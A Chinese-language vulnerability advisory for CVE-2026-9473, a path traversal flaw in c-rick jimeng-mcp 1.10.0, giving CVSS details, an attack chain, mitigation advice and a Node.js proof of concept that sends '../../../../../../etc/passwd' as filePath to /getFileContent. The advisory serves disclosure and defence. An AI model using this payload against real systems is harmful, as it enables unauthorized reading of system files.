IPBUF安全漏洞报告
English
CVE-2026-9473 CVSS 6.3 中危

CVE-2026-9473 路径遍历漏洞

披露日期: 2026-05-25

漏洞信息

漏洞编号
CVE-2026-9473
漏洞类型
路径遍历
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
c-rick jimeng-mcp

相关标签

路径遍历Path Traversalc-rick-jimeng-mcpCVE-2026-9473文件操作漏洞

漏洞概述

CVE-2026-9473 是 c-rick jimeng-mcp 1.10.0 版本中发现的一个安全漏洞。该漏洞源于 src/api.ts 文件中的多个函数,包括 getFileContent、uploadCoverFile、generateImage 和 generateVideo,未能正确处理用户输入的 filePath 参数。攻击者可以通过网络远程利用此漏洞,操纵参数进行路径遍历攻击。尽管项目方已通过问题报告收到通知,但尚未做出回应。该漏洞已被公开披露并可能被利用,可能导致系统敏感信息泄露或文件系统完整性受损。

技术细节

该漏洞属于典型的路径遍历(Path Traversal)漏洞,发生在 Node.js 项目的 API 层。在 src/api.ts 文件中,受影响的函数直接使用了用户传入的 filePath 参数来构建文件系统路径,而未进行严格的路径规范化(如消除 ../)或白名单校验。由于攻击向量为网络(AV:N)且无需用户交互(UI:N),攻击者可构造包含特殊字符(如 ../)的恶意请求,将目标文件路径引向应用目录之外的任意位置。CVSS 评分 6.3 表明其影响中等(C:L/I:L/A:L),结合低权限要求(PR:L),意味着一旦攻击者获得低权限账号即可利用此漏洞进一步窃取数据或破坏文件。目前公开的利用代码已证实了该攻击的可行性。

攻击链分析

STEP 1
侦察
攻击者识别出目标系统正在运行 c-rick jimeng-mcp 1.10.0 版本,并确认 API 接口可访问。
STEP 2
构造攻击载荷
攻击者构造包含路径遍历字符(如 '../')的恶意 JSON 数据,针对 filePath 参数,旨在访问受保护目录之外的文件。
STEP 3
发送恶意请求
攻击者通过 HTTP POST 请求将恶意载荷发送至受影响的 API 端点(如 /getFileContent)。
STEP 4
执行攻击
服务器端未过滤特殊字符,直接将 filePath 拼接到文件操作路径中,导致读取系统敏感文件(如 /etc/passwd)或写入恶意文件。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2026-9473 Path Traversal // Target: c-rick/jimeng-mcp 1.10.0 // Function: getFileContent / uploadCoverFile / generateImage / generateVideo // Description: Manipulating the 'filePath' argument to read arbitrary files. const axios = require('axios'); async function exploitCVE20269473() { const targetUrl = 'http://target-host:port/api'; // Replace with actual target URL // Payload attempting to read /etc/passwd using path traversal sequences const maliciousPayload = { filePath: '../../../../../../etc/passwd' }; try { // Example targeting the getFileContent function const response = await axios.post(`${targetUrl}/getFileContent`, maliciousPayload); if (response.status === 200) { console.log('[+] Exploit successful! File content retrieved:'); console.log(response.data); } else { console.log('[-] Exploit failed, unexpected status code:', response.status); } } catch (error) { console.error('[-] Request failed:', error.message); } } exploitCVE20269473();

影响范围

c-rick jimeng-mcp 1.10.0

防御指南

临时缓解措施
在官方未发布修复版本前,建议限制 API 访问来源 IP,或在 Web 应用防火墙(WAF)中部署规则,拦截包含 '../' 或绝对路径符号的请求参数,以阻断攻击尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表